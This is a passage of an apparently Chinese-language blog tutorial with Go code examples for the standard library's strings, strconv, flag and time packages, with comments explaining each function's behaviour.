fmt.Println(strings.Contains(<span class="string">"team"</span>, <span class="string">"i"</span>))</span><br><span class="line"> fmt.Println(strings.ContainsAny(<span class="string">"team"</span>, <span class="string">"i"</span>))</span><br><span class="line"> fmt.Println(strings.ContainsAny(<span class="string">"failure"</span>, <span class="string">"u & i"</span>))</span><br><span class="line"> fmt.Println(strings.ContainsAny(<span class="string">"in failure"</span>, <span class="string">"s g"</span>))</span><br><span class="line"> fmt.Println(strings.ContainsAny(<span class="string">"foo"</span>, <span class="string">""</span>))</span><br><span class="line"> fmt.Println(strings.ContainsAny(<span class="string">""</span>, <span class="string">""</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// Count(s,sep string)</span></span><br><span class="line"><span class="comment">// 当sep为空时，返回utf8.RuneCountInString(s) + 1</span></span><br><span class="line"><span class="comment">// 计算sep在s中无重复的次数</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringCount</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(strings.Count(<span class="string">"cheese"</span>, <span class="string">"e"</span>))</span><br><span class="line"> fmt.Println(<span class="built_in">len</span>(<span class="string">"谷歌中国"</span>))</span><br><span class="line"> fmt.Println(strings.Count(<span class="string">"谷歌中国"</span>, <span class="string">""</span>))</span><br><span class="line"> fmt.Println(strings.Count(<span class="string">"fivevev"</span>, <span class="string">"vev"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// Field用一个或多个空格(unicode.isSpace)分割字符串(string->slice)</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringFields</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Printf(<span class="string">"Fields are: %q\n"</span>,strings.Fields(<span class="string">" foo bar baz "</span>))</span><br><span class="line"> fmt.Println(strings.FieldsFunc(<span class="string">" foo bar baz "</span>, unicode.IsSpace))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 前两个等价</span></span><br><span class="line"><span class="comment">// SplitAfter会保存sep，而Split不会保存</span></span><br><span class="line"><span class="comment">// SplitN 最后一个参数控制返回slice的元素个数，若<0则返回全部。>0时最后一个元素不会被分割</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringSplit</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Printf(<span class="string">"%q\n"</span>, strings.SplitN(<span class="string">"foo,bar,baz"</span>, <span class="string">","</span>,<span class="number">-1</span>))</span><br><span class="line"> fmt.Printf(<span class="string">"%q\n"</span>, strings.Split(<span class="string">"foo,bar,baz"</span>, <span class="string">","</span>))</span><br><span class="line"> fmt.Printf(<span class="string">"%q\n"</span>, strings.SplitAfter(<span class="string">"foo,bar,baz"</span>, <span class="string">","</span>))</span><br><span class="line"> fmt.Printf(<span class="string">"%q\n"</span>, strings.SplitN(<span class="string">"foo,bar,baz"</span>, <span class="string">","</span>, <span class="number">2</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// HasPrefix判断是否包含前缀</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringPrefix</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(strings.HasPrefix(<span class="string">"Gopher"</span>, <span class="string">"Go"</span>))</span><br><span class="line"> fmt.Println(strings.HasPrefix(<span class="string">"Gopher"</span>, <span class="string">"C"</span>))</span><br><span class="line"> fmt.Println(strings.HasPrefix(<span class="string">"Gopher"</span>, <span class="string">""</span>))</span><br><span class="line"> fmt.Println(strings.HasSuffix(<span class="string">"Amigo"</span>, <span class="string">"go"</span>))</span><br><span class="line"> fmt.Println(strings.HasSuffix(<span class="string">"Amigo"</span>, <span class="string">"Ami"</span>))</span><br><span class="line"> fmt.Println(strings.HasSuffix(<span class="string">"Amigo"</span>, <span class="string">""</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 连接字符串(slice->string)</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringJoin</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(strings.Join([]<span class="keyword">string</span>{<span class="string">"name=xxx"</span>, <span class="string">"age=xx"</span>}, <span class="string">"&"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 重复字符串</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringRepeat</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(<span class="string">"ba"</span>+strings.Repeat(<span class="string">"na"</span>,<span class="number">2</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 字符替换</span></span><br><span class="line"><span class="comment">// 每个字符做map函数替换，mapping函数可自行编写</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringMap</span><span class="params">()</span></span> {</span><br><span class="line"> mapping := <span class="function"><span class="keyword">func</span><span class="params">(r <span class="keyword">rune</span>)</span> <span class="title">rune</span></span> {</span><br><span class="line"> <span class="keyword">switch</span> {</span><br><span class="line"> <span class="keyword">case</span> r >= <span class="string">'A'</span> && r <= <span class="string">'Z'</span>: <span class="comment">// 大写字母转小写</span></span><br><span class="line"> <span class="keyword">return</span> r + <span class="number">32</span></span><br><span class="line"> <span class="keyword">case</span> r >= <span class="string">'a'</span> && r <= <span class="string">'z'</span>: <span class="comment">// 小写字母不处理</span></span><br><span class="line"> <span class="keyword">return</span> r</span><br><span class="line"> <span class="keyword">case</span> unicode.Is(unicode.Han, r): <span class="comment">// 汉字换行</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">'\n'</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span> <span class="comment">// 过滤所有非字母、汉字的字符</span></span><br><span class="line"> }</span><br><span class="line"> fmt.Println(strings.Map(mapping, <span class="string">"Hello你#￥%……\n（'World\n,好Hello^(&(*界gopher..."</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 字符串替换</span></span><br><span class="line"><span class="comment">// n表示替换次数</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringReplace</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(strings.Replace(<span class="string">"oink oink oink"</span>, <span class="string">"k"</span>, <span class="string">"ky"</span>, <span class="number">2</span>))</span><br><span class="line"> fmt.Println(strings.Replace(<span class="string">"oink oink oink"</span>, <span class="string">"oink"</span>, <span class="string">"moo"</span>, <span class="number">-1</span>))</span><br><span class="line"> fmt.Println(strings.ReplaceAll(<span class="string">"oink oink oink"</span>, <span class="string">"oink"</span>, <span class="string">"moo"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 大小写转换</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringTo</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(strings.ToLower(<span class="string">"HELLO WORLD"</span>))</span><br><span class="line"> fmt.Println(strings.ToLower(<span class="string">"Ā Á Ǎ À"</span>))</span><br><span class="line"> fmt.Println(strings.ToLowerSpecial(unicode.TurkishCase, <span class="string">"壹"</span>))</span><br><span class="line"> fmt.Println(strings.ToLowerSpecial(unicode.TurkishCase, <span class="string">"HELLO WORLD"</span>))</span><br><span class="line"> fmt.Println(strings.ToLower(<span class="string">"Önnek İş"</span>))</span><br><span class="line"> fmt.Println(strings.ToLowerSpecial(unicode.TurkishCase, <span class="string">"Önnek İş"</span>))</span><br><span class="line"></span><br><span class="line"> fmt.Println(strings.ToUpper(<span class="string">"hello world"</span>))</span><br><span class="line"> fmt.Println(strings.ToUpper(<span class="string">"ā á ǎ à"</span>))</span><br><span class="line"> fmt.Println(strings.ToUpperSpecial(unicode.TurkishCase, <span class="string">"一"</span>))</span><br><span class="line"> fmt.Println(strings.ToUpperSpecial(unicode.TurkishCase, <span class="string">"hello world"</span>))</span><br><span class="line"> fmt.Println(strings.ToUpper(<span class="string">"örnek iş"</span>))</span><br><span class="line"> fmt.Println(strings.ToUpperSpecial(unicode.TurkishCase, <span class="string">"örnek iş"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 标题</span></span><br><span class="line"><span class="comment">// special用于将特殊字符转换为对应的大小写</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringTitle</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(strings.Title(<span class="string">"hElLo wOrLd"</span>))</span><br><span class="line"> fmt.Println(strings.ToTitle(<span class="string">"hElLo wOrLd"</span>))</span><br><span class="line"> fmt.Println(strings.ToTitleSpecial(unicode.TurkishCase, <span class="string">"hElLo wOrLd"</span>))</span><br><span class="line"> fmt.Println(strings.Title(<span class="string">"āáǎà ōóǒò êēéěè"</span>))</span><br><span class="line"> fmt.Println(strings.ToTitle(<span class="string">"āáǎà ōóǒò êēéěè"</span>))</span><br><span class="line"> fmt.Println(strings.ToTitleSpecial(unicode.TurkishCase, <span class="string">"āáǎà ōóǒò êēéěè"</span>))</span><br><span class="line"> fmt.Println(strings.Title(<span class="string">"dünyanın ilk borsa yapısı Aizonai kabul edilir"</span>))</span><br><span class="line"> fmt.Println(strings.ToTitle(<span class="string">"dünyanın ilk borsa yapısı Aizonai kabul edilir"</span>))</span><br><span class="line"> fmt.Println(strings.ToTitleSpecial(unicode.TurkishCase, <span class="string">"dünyanın ilk borsa yapısı Aizonai kabul edilir"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 修剪</span></span><br><span class="line"><span class="comment">// Trim匹配左右两侧，其余分左右</span></span><br><span class="line"><span class="comment">// TrimSpace匹配左右空格</span></span><br><span class="line"><span class="comment">// TrimPrefix匹配匹配前缀，Suffix为后缀</span></span><br><span class="line"><span class="comment">// TrimFunc将前后字符按指定函数处理</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringTrim</span><span class="params">()</span></span> {</span><br><span class="line"> x := <span class="string">"!!!@@@你好,!@#$ Gophers###$$$"</span></span><br><span class="line"> fmt.Println(strings.Trim(x, <span class="string">"@#$!%^&*()_+=-"</span>))</span><br><span class="line"> fmt.Println(strings.TrimLeft(x, <span class="string">"@#$!%^&*()_+=-"</span>))</span><br><span class="line"> fmt.Println(strings.TrimRight(x, <span class="string">"@#$!%^&*()_+=-"</span>))</span><br><span class="line"> fmt.Println(strings.TrimSpace(<span class="string">" \t\n Hello, Gophers \n\t\r\n"</span>))</span><br><span class="line"> fmt.Println(strings.TrimPrefix(x, <span class="string">"!"</span>))</span><br><span class="line"> fmt.Println(strings.TrimSuffix(x, <span class="string">"$"</span>))</span><br><span class="line"></span><br><span class="line"> f := <span class="function"><span class="keyword">func</span><span class="params">(r <span class="keyword">rune</span>)</span> <span class="title">bool</span></span> {</span><br><span class="line"> <span class="keyword">return</span> !unicode.Is(unicode.Han, r) <span class="comment">// 非汉字返回 true</span></span><br><span class="line"> }</span><br><span class="line"> fmt.Println(strings.TrimFunc(x, f))</span><br><span class="line"> fmt.Println(strings.TrimLeftFunc(x, f))</span><br><span class="line"> fmt.Println(strings.TrimRightFunc(x, f))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// string内存中构建读写对象</span></span><br><span class="line"><span class="comment">// 读：reader</span></span><br><span class="line"><span class="comment">// 写：writer</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringobject</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 字符串对象reader</span></span><br><span class="line">reader := strings.NewReader(<span class="string">"123abc"</span>)</span><br><span class="line"><span class="comment">// len表示还未读的长度，size表示字符串对象总长度</span></span><br><span class="line">fmt.Println(reader.Len(), reader.Size())</span><br><span class="line"><span class="comment">// read</span></span><br><span class="line">ctx := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="number">5</span>)</span><br><span class="line">n, _ := reader.Read(ctx)</span><br><span class="line">fmt.Println(n, <span class="keyword">string</span>(ctx[:n]))</span><br><span class="line"><span class="comment">// seek重置</span></span><br><span class="line">reader.Seek(<span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line">n, _ = reader.Read(ctx)</span><br><span class="line">fmt.Println(n, <span class="keyword">string</span>(ctx[:n]))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 字符串对象builder</span></span><br><span class="line"><span class="keyword">var</span> writer strings.Builder</span><br><span class="line">writer.Write([]<span class="keyword">byte</span>(<span class="string">"abc123"</span>))</span><br><span class="line">fmt.Println(writer.Len())</span><br><span class="line">writer.WriteString(<span class="string">"xyz"</span>)</span><br><span class="line">fmt.Println(writer.String())</span><br><span class="line">fmt.Println(writer.Len())</span><br><span class="line">writer.Reset()</span><br><span class="line">fmt.Println(writer.String())</span><br><span class="line">fmt.Println(writer.Len())</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="strconv"><a href="#strconv" class="headerlink" title="strconv"></a>strconv</h3><p>字符串和基础类型的转换（bool、int、float等）</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"> <span class="string">"fmt"</span></span><br><span class="line"> <span class="string">"strconv"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// ParseInt(s string, base int, bitSize int)(i int64, err error) 转换为有符号整形</span></span><br><span class="line"><span class="comment">// ParseUint(s string, base int, bitSize int) (n uint64, err error) 转换为 64 分别代表 int、int8、int16、int32 和 int64。</span></span><br><span class="line"><span class="comment">// Atoi(s string) (i int, err error) 内部调用ParseInt(s,10,0)实现，bitSize为0会判断32bit还是64bit</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">string2int</span><span class="params">()</span></span> {</span><br><span class="line"> <span class="comment">// 超过8bit表示范围会报错(errRange)，仍会返回最大或最小值，此处为最大值</span></span><br><span class="line"> n, err := strconv.ParseInt(<span class="string">"128"</span>, <span class="number">10</span>, <span class="number">8</span>)</span><br><span class="line"> fmt.Println(n,err)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// FormatUint(i uint64, base int) string 无符号整型转字符串</span></span><br><span class="line"><span class="comment">// FormatInt(i int64, base int) string 有符号整型转字符串</span></span><br><span class="line"><span class="comment">// Itoa(i int) string 内部调用FormatInt(i,10)实现</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">int2string</span><span class="params">()</span></span> {</span><br><span class="line"> <span class="keyword">const</span> digits = <span class="string">"0123456789abcdefghijklmnopqrstuvwxyz"</span></span><br><span class="line"> fmt.Println(strconv.FormatInt(<span class="number">12222</span>,<span class="number">10</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// format: bool/int/float -> string</span></span><br><span class="line"><span class="comment">// parse: string -> int/bool/float</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// Quote字符串字面量</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">stringQuote</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(<span class="string">"This is"</span>,strconv.Quote(<span class="string">"studygolang.com"</span>),<span class="string">"website"</span>)</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"> stringQuote()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="flag"><a href="#flag" class="headerlink" title="flag"></a>flag</h3><p>解析命令行</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"> <span class="string">"flag"</span></span><br><span class="line"> <span class="string">"fmt"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line"> intFlag <span class="keyword">int</span></span><br><span class="line"> boolFlag <span class="keyword">bool</span></span><br><span class="line"> stringFlag <span class="keyword">string</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> {</span><br><span class="line"> flag.IntVar(&intFlag,<span class="string">"intFlag"</span>,<span class="number">0</span>,<span class="string">"int flag value"</span>)</span><br><span class="line"> flag.BoolVar(&boolFlag,<span class="string">"boolFlag"</span>,<span class="literal">false</span>,<span class="string">"bool flag value"</span>)</span><br><span class="line"> flag.StringVar(&stringFlag,<span class="string">"stringFlag"</span>,<span class="string">""</span>,<span class="string">"string flag value"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"> flag.Parse()</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 没有解析的flag保存于Arg中</span></span><br><span class="line"> fmt.Println(flag.Args())</span><br><span class="line"> fmt.Println(<span class="string">"Non-Flag Argument Count:"</span>,flag.NArg())</span><br><span class="line"> <span class="keyword">for</span> i:=<span class="number">0</span>;i<flag.NArg();i++{</span><br><span class="line"> fmt.Printf(<span class="string">"Argument %d: %s\n"</span>,i,flag.Arg(i))</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fmt.Println(<span class="string">"Flag Count:"</span>,flag.NFlag())</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"> <span class="string">"flag"</span></span><br><span class="line"> <span class="string">"fmt"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> logLevel <span class="keyword">string</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> {</span><br><span class="line"> <span class="keyword">const</span> (</span><br><span class="line"> defaultLogLevel = <span class="string">"DEBUG"</span></span><br><span class="line"> usage = <span class="string">"set log level value"</span></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> flag.StringVar(&logLevel,<span class="string">"log_type"</span>,defaultLogLevel,usage)</span><br><span class="line"> flag.StringVar(&logLevel,<span class="string">"l"</span>,defaultLogLevel,usage+<span class="string">"(shorthand"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"> flag.Parse()</span><br><span class="line"></span><br><span class="line"> fmt.Println(<span class="string">"log level"</span>,logLevel)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"> <span class="string">"flag"</span></span><br><span class="line"> <span class="string">"fmt"</span></span><br><span class="line"> <span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line"> period time.Duration</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> {</span><br><span class="line"> flag.DurationVar(&period,<span class="string">"period"</span>,<span class="number">1</span>*time.Second,<span class="string">"sleep period"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"> flag.Parse()</span><br><span class="line"> fmt.Printf(<span class="string">"sleep for %v"</span>,period)</span><br><span class="line"> time.Sleep(period)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> fmt.Println()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"> <span class="string">"errors"</span></span><br><span class="line"> <span class="string">"flag"</span></span><br><span class="line"> <span class="string">"fmt"</span></span><br><span class="line"> <span class="string">"strings"</span></span><br><span class="line"> <span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"><span class="comment">// 自定义类型，需要实现两个接口</span></span><br><span class="line"><span class="comment">//type Value interface {</span></span><br><span class="line"><span class="comment">// String() string</span></span><br><span class="line"><span class="comment">// Set() error</span></span><br><span class="line"><span class="comment">//}</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> interval []time.Duration</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(i *interval)</span><span class="title">String</span><span class="params">()</span> <span class="title">string</span></span> {</span><br><span class="line"> <span class="keyword">return</span> fmt.Sprint(*i)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(i *interval)</span><span class="title">Set</span><span class="params">(value <span class="keyword">string</span>)</span> <span class="title">error</span></span> {</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(*i)><span class="number">0</span>{</span><br><span class="line"> <span class="keyword">return</span> errors.New(<span class="string">"interval flag already set"</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> _,dt := <span class="keyword">range</span> strings.Split(value,<span class="string">","</span>){</span><br><span class="line"> duration,err := time.ParseDuration(dt)</span><br><span class="line"> <span class="keyword">if</span> err !=<span class="literal">nil</span>{</span><br><span class="line"> <span class="keyword">return</span> err</span><br><span class="line"> }</span><br><span class="line"> *i = <span class="built_in">append</span>(*i,duration)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line"> intervalFlag interval</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> {</span><br><span class="line"> <span class="comment">// 自定义类型使用Var方法</span></span><br><span class="line"> flag.Var(&intervalFlag,<span class="string">"defalut"</span>,<span class="string">"comma-seperate"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"> flag.Parse()</span><br><span class="line"></span><br><span class="line"> fmt.Println(intervalFlag)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="time"><a href="#time" class="headerlink" title="time"></a>time</h3><p>时间相关</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">myTime</span><span class="params">()</span></span> {</span><br><span class="line"><span class="keyword">var</span> formatTime = <span class="string">"2006-01-02 15:04:05"</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">// 当前时间（返回time类型）</span></span><br><span class="line">nowTime := time.Now()</span><br><span class="line">fmt.Println(nowTime)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 时间转换</span></span><br><span class="line"><span class="comment">// time->时间戳</span></span><br><span class="line">fmt.Println(<span class="string">"time->时间戳: "</span>,nowTime.Unix())</span><br><span class="line"><span class="comment">// 时间戳->time</span></span><br><span class="line">fmt.Println(<span class="string">"时间戳->time: "</span>,time.Unix(nowTime.Unix(),<span class="number">0</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 时间操作</span></span><br><span class="line"><span class="comment">// Add</span></span><br><span class="line">fmt.Println(<span class="string">"当前时间+1H"</span>,nowTime.Add(time.Hour))</span><br><span class="line"><span class="comment">// Sub</span></span><br><span class="line">fmt.Println(<span class="string">"两时间之差"</span>,nowTime.Sub(nowTime.Add(-time.Hour)))</span><br><span class="line"><span class="comment">// Equal</span></span><br><span class="line">fmt.Println(<span class="string">"判断时间是否相等"</span>,nowTime.Equal(nowTime.Add(time.Hour)))</span><br><span class="line"><span class="comment">// Before</span></span><br><span class="line"><span class="comment">// After</span></span><br><span class="line">fmt.Println(<span class="string">"判断时间点前后(Before)"</span>,nowTime.After(nowTime))</span><br><span class="line">fmt.Println(<span class="string">"判断时间点前后(After)"</span>,nowTime.Before(nowTime))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 时间格式化 format</span></span><br><span class="line">fmt.Println(<span class="string">"2006-01-02 15:04:05 格式化"</span>,nowTime.Format(formatTime))</span><br><span class="line"><span class="comment">// 解析字符串时间 parse</span></span><br><span class="line"><span class="keyword">var</span> timStr = <span class="string">"2019-12-12 